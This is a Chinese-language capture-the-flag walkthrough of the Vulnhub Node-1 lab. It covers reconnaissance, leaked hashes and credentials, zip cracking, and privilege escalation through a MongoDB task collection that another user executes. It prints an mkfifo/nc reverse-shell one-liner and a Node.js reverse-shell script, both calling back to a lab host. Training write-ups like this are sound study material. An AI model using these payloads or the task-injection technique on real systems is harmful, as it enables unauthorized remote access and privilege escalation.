zl程序教程

您现在的位置是:首页 >  前端

当前栏目

【甄选靶场】Vulnhub百个项目渗透——项目三十:Node-1(源码审计)

Node项目源码 渗透 审计 靶场 三十 Vulnhub
2023-09-27 14:26:30 时间

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目三十:Node-1(源码审计)


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年10月2日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、WEB突破

信息收集

首先就是nmap扫描一遍

nmap -sS -sV -A -T5 [ip]

在这里插入图片描述

然后在页面中翻找一下,就找到了几个用户信息,做个备忘录记下来在这里插入图片描述

然后再做源代码的枚举,这里我们发现了

<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
	<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
	<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
	<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
	<script type="text/javascript" src="assets/js/app/app.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
	<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
	<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>
查看静态源码发现调用了javascript目录和js文件在前端!
在查看view-source:http://192.168.253.176:3000/assets/js/app/controllers/home.js
静态源码发现调用了:/api/users/
访问:
http://192.168.253.176:3000/api/users/
发现这是前端的JSON!包含四个用户名密码信息:

在这里插入图片描述

但是实际情况下并不太可能在前端的JS中存在什么信息,但是毕竟这是CTF么。
得到了四个账号密码,解密看看

在这里插入图片描述

myP14ceAdm1nAcc0uNT
manchester

tom
spongebob

mark
snowflake

在这里插入图片描述

这些个用户都是之前web页面的,我们就先登陆一下web,看看,结果是这么提示的。那就好办了,接着试,看样子碰到管理员用户就会很好好整

在这里插入图片描述

然后显示可以下载下来一个备份文件,下下来以后发现是一个base64的文件

file [文件名]   --查看文件类型

在这里插入图片描述

cat myplace.backup |base64 -d >rong
file rong    发现是个压缩包了
mv rong rong,zip    --改个名,这样才能解压
unzip rong
发现需要密码,那就爆破一下,用fcrackzip
locate rockyou.txt   --找一下这个牛逼字典
fcrackzip -u -D -p [字典地址]  rong.zip
如图,爆破出来了密码

在这里插入图片描述

打开解压后的文件,发现是网站完整源码,因为是var/www/html
所以放在sear源代码审计软件中审计一下,发现没有问题,那就说明这个一份源码只能存在一定程度上的信息泄露,不然就没有利用价值了,他也不会故意把这个给我们

在这里插入图片描述

代码审计

发现这是www站目录源码信息泄露,存在app.js

App.js 是一个轻量级的 JavaScript UI 库,用来创建移动的 Web 应用,应用的外观跟原生的应用相同,性能也近乎一致。
这个玩意就也是,敏感,经验的累积吧,得到如下信息:

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const 
backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

 app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

5,6行可以知道开启了monDB服务
第十行可以看出来数据库登陆的账号和密码
因为MONDB的数据库URL登陆格式就是这样,不信就去搜一下,菜鸟教程
第13行还有一个backup_key
然后最后一段代码还有个命令还是咋回事,有个-q,但是我看不懂,但是我看到了参数的传递,就是后面的那个又调用了backup_key,猜测这个完整的命令是:

spawn(‘/usr/local/bin/backup’ -q
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474,[用户名]

内网提权

用刚才登录MONDB的用户登陆一下SSH

mark   :   5AYRft73VtFpc84k
ssh mark@192.168.247.129

然后去看一下这个目录下的backup文件是个啥,打不开
在这里插入图片描述但是是root权限跑的,所以估计可以提权,但是还没有信息收集,先不慌

信息收集

传提权脚本(三个哦)
发现了一个在本地的27017,27017是MONDB数据库
在这里插入图片描述

还发现了一个权限乱七八糟的TOM用户,那我估计下一步肯定要搞这个TOM,因为服务越多,权限交叉越大,漏洞越多,越脆弱

在这里插入图片描述

总结一下信息枚举的结果
1)Linux version 4.4.0-93-generic
2)Sudo version 1.8.16
3)mongodb   1288  0.6 11.6 281956 88380
127.0.0.1:27017
4)uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1002(admin)

内核提权

根据les.sh跑出来的信息,直接利用EXP
可以提权
在这里插入图片描述

MONGODB提权

看一下没在root的进程

ps aux | grep -v root
发现了两个TOM运行的

在这里插入图片描述

nc -vlp 4444

mongo -u mark -p 5AYRft73VtFpc84k scheduler   ---db 查看库信息
show collections       ----show tables;查看已存在的表
db.tasks.find({})     ----查看一下表内容,现在表中无文档
db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.247.129 4444 >/tmp/f"})   ----将反弹shell插入文档

成功获得tom用户的反弹shell!

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述
在这里插入图片描述

app.js提权

里还有别的方法在JavaScript中创建一个反向shell
js木马:

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1234, "192.168.247.129", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

nc -vlp 1234

mongo -u mark -p 5AYRft73VtFpc84k scheduler
show collections
db.tasks.findOne()
db.tasks.insert({"cmd": "/usr/bin/node /tmp/shell.js"})

成功获得反弹shell!

在这里插入图片描述
获得的都是tom的shell,然后再用内核漏洞提权,没之前方便。

在这里插入图片描述